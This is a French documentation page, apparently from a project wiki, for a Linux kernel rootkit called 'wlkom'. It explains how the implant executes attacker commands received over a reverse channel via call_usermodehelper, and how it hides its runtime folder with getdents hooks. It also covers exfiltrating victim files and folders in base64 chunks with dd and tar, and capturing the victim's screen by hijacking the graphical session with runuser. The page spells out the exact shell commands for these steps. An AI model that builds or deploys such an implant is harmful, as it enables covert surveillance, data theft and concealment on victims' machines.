Actions userland
Cette page explique pourquoi le module délègue beaucoup d'actions à /bin/sh au lieu de tout réimplémenter en contexte kernel: commandes, transferts, dossiers, screenshots et fichiers temporaires.
La frontière à retenir:
kernel : transporte, hooke, route, lit les résultats
userland: exécute les outils déjà présents sur Linux
Pour les primitives kernel derrière cette page, voir Références techniques.
Fichiers concernés
| Fichier | Rôle |
|---|---|
src/userland/helper_runner.c | lance /bin/sh -c avec call_usermodehelper |
src/userland/file_reader.c | lit les fichiers temporaires avec kernel_read |
src/storage/hidden_directory.c | crée /opt/wlkom_data |
src/commands/command_capture.c | capture stdout/stderr et code retour |
src/commands/file_transfer.c | upload/download par base64 et chunks |
src/commands/screenshot.c | génère et lance le script de capture |
src/network/command_router.c | route vers les actions spécialisées |
Pourquoi sortir vers userland?
Un module kernel peut manipuler des fichiers et processus, mais ce n'est pas l'endroit idéal pour réimplémenter:
- un parseur shell
- les pipes et redirections
base64,dd,tar- la détection de session graphique
loginctl,runuser,gnome-screenshot,scrot- les détails X11/Wayland.
Le projet choisit donc une frontière simple:
kernel: transport, hooks, routage, lecture des résultats
userland: commandes complexes déjà disponibles sur Linux
Pourquoi ça fonctionne? call_usermodehelper permet au noyau de demander le lancement d'un programme userland. Avec UMH_WAIT_PROC, le module attend la fin du processus avant de lire le résultat.
Le noyau pourrait faire beaucoup de choses lui-même, mais ce serait plus long, plus fragile et moins lisible. Ici, /bin/sh, base64, dd, tar et les outils de screenshot font le travail compliqué.
Environnement des helpers
wlkom_run_shell_command lance:
/bin/sh -c "<commande>"
avec un environnement fixe:
HOME=/
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin
DISPLAY=:0
PATH rend disponibles les outils système sans chemin absolu. DISPLAY=:0 donne une valeur par défaut aux outils graphiques, même si le script screenshot essaie ensuite des valeurs plus précises.
Dossier runtime
Le dossier runtime est:
/opt/wlkom_data
Création:
mkdir -p /opt/wlkom_data && chmod 700 /opt/wlkom_data
Fichiers principaux:
| Fichier | Usage |
|---|---|
.cmd.out | sortie des commandes shell |
.screen.txt | résultat base64 ou diagnostic screenshot |
.screen.png | nom réservé pour l'image de capture |
Ce dossier donne un point d'échange stable entre le helper userland et le module kernel. Les hooks getdents* le masquent ensuite dans les listings.
Capture d'une commande
Une commande shell reçue par le canal reverse est enveloppée ainsi:
(<commande>) > /opt/wlkom_data/.cmd.out 2>&1; echo "[exit:$?]" >> /opt/wlkom_data/.cmd.out
Étapes:
- construire la commande enveloppée
- lancer
/bin/sh -caveccall_usermodehelper - lire
.cmd.outaveckernel_read - chercher le dernier marqueur
[exit:N] - retirer le marqueur de la sortie visible
- supprimer
.cmd.out - renvoyer sortie et code au backend.
Pourquoi écrire dans un fichier? call_usermodehelper ne donne pas au module un pipe stdout/stderr simple comme subprocess côté Python. Le fichier temporaire sert donc de boîte aux lettres.
Le fichier est situé dans /opt/wlkom_data, puis supprimé après lecture. Les hooks de masquage réduisent sa visibilité côté userland.
Codes de retour
Le marqueur ajouté est:
[exit:$?]
Le module cherche le dernier marqueur [exit: dans le fichier. Si une commande affiche elle-même une chaîne similaire, le dernier marqueur reste normalement celui ajouté par le wrapper.
Si aucun marqueur n'est trouvé, le code considère la commande comme réussie par défaut. Dans la pratique, le wrapper en ajoute toujours un si /bin/sh va jusqu'au bout.
Upload fichier
Le routeur accepte:
upload-begin <path>
upload-append <base64> <path>
upload-begin lance:
mkdir -p -- "$(dirname -- <path>)" && : > <path>
upload-append lance:
printf '%s' '<base64>' | base64 -d >> <path>
Pourquoi deux étapes? La première prépare un fichier vide propre. Les appels suivants ajoutent des chunks décodés. Cela évite de faire tenir un fichier entier dans une seule ligne de commande kernel.
Le backend shell-quote le chemin avant de l'envoyer. Le module considère donc que le chemin reçu est déjà prêt à être injecté dans la commande shell.
Download fichier
Le download fichier passe uniquement par:
download-chunk <offset> <length> <path>
Le module lance:
dd if=<path> bs=1 skip=<offset> count=<length> 2>/dev/null | base64 -w0
Puis il répond:
FILE-CHUNK:<offset>:<length>:<path>
<base64>
[exit:0]
Pourquoi dd? Il sait lire une plage précise sans charger tout le fichier dans la réponse. Le backend assemble ensuite les chunks dans l'ordre.
Limites:
- le backend demande
256 KiBpar chunk - le module refuse une longueur supérieure à
512 KiB - la réponse doit rester sous
WLKOM_TX_SIZE.
Download dossier
Le module n'a pas de commande spéciale native pour les dossiers. Le backend crée d'abord une archive temporaire:
/opt/wlkom_data/.download-dir.tar.gz
La commande distante ressemble à:
tar -C "$(dirname -- <path>)" -czf /opt/wlkom_data/.download-dir.tar.gz -- "$(basename -- <path>)"
Ensuite, le backend télécharge cette archive avec le même mécanisme chunké que pour un fichier normal, puis il supprime l'archive distante.
Pourquoi faire comme ça? Un dossier n'est pas un flux simple à lire avec dd. Le transformer en .tar.gz donne un fichier unique, donc le protocole download-chunk peut le récupérer morceau par morceau.
Screenshot
La capture écran est la plus dépendante de userland. Le module génère un script shell multi-lignes qui:
- vérifie la présence des outils nécessaires
- choisit un outil de capture disponible
- trouve une session graphique avec
loginctlsi possible - retrouve l'utilisateur, l'UID et le home
- tente plusieurs couples
DISPLAY/XAUTHORITY - lance l'outil avec
runuser - encode le PNG en base64
- écrit le résultat dans
.screen.txt.
Outils possibles:
| Outil | Contexte |
|---|---|
gnome-screenshot | GNOME |
scrot | X11 léger |
import | ImageMagick |
xwd + convert | fallback X11 |
Le résultat est encadré par:
__WLKOM_SCREEN_BEGIN__
__WLKOM_SCREEN_END__
Le backend extrait ce bloc, décode le PNG et le met à disposition du frontend.
Pourquoi runuser?
Le thread kernel peut avoir des privilèges élevés, mais une capture graphique dépend aussi du contexte de session:
HOME
DISPLAY
XDG_RUNTIME_DIR
DBUS_SESSION_BUS_ADDRESS
XAUTHORITY
Lancer l'outil sous l'utilisateur graphique donne plus de chances d'accéder à la session active. C'est pour cela que le script cherche d'abord un utilisateur et une session avant de capturer.
Lecture et suppression des fichiers temporaires
Lecture:
filp_open
kernel_read
filp_close
Suppression:
rm -f -- <path>
Le projet sépare les petites commandes et les gros buffers:
kmallocressemble àmalloc, mais côté kernel: il donne un bloc contigu et non initialisékzallocest la même famille quekmalloc, mais le buffer est rempli de zérosvzallocdonne un buffer virtuellement contigu, plus adapté aux grosses tailleskzalloc+kfreepour les commandes courtes, par exempleupload-begin,download-chunkourm -fvzalloc+vfreepour les buffers volumineux, notammentsend_buffer(4 MiB),receive_buffer(160 KiB) et la commandeupload-appendkmalloc+kfreequand un petit buffer temporaire non initialisé suffit, comme le tampon chiffré envoyé sur la socket.
Cette règle évite de demander de gros blocs contigus au noyau avec kzalloc.
Elle impose aussi de libérer chaque allocation avec la bonne famille:
kfree pour kmalloc/kzalloc, vfree pour vzalloc.
Le détail à ne pas rater: vzalloc donne une zone virtuellement contiguë. Pour le code C, on l'utilise comme un tableau normal, mais le noyau n'a pas besoin de trouver un gros bloc physique collé. C'est plus adapté aux buffers de plusieurs centaines de KiB ou plusieurs MiB.
Avantages de cette architecture
- Le code kernel reste plus petit.
- Les outils Linux existants font le travail complexe.
- Les commandes restent faciles à comprendre dans la documentation.
- Les erreurs userland peuvent être renvoyées comme texte au dashboard.
- Les actions évoluent côté shell/backend sans changer la logique de hooks.
Limites à retenir
- Les actions dépendent des outils présents sur la victime.
- Un environnement minimal peut ne pas avoir
base64,tar,runuserou un outil de capture. - Les chemins sont intégrés dans des commandes shell: le backend doit les quote correctement.
- Les dossiers sont transformés en archive temporaire, puis téléchargés comme un fichier chunké.
- Les screenshots dépendent fortement de X11/Wayland et de la session utilisateur.
Liens liés
- Canal reverse et commandes pour le protocole qui transporte ces actions.
- Hooks et masquage pour les fichiers runtime et les règles de masquage.
- Backend attaquant pour la partie Python qui orchestre les chunks.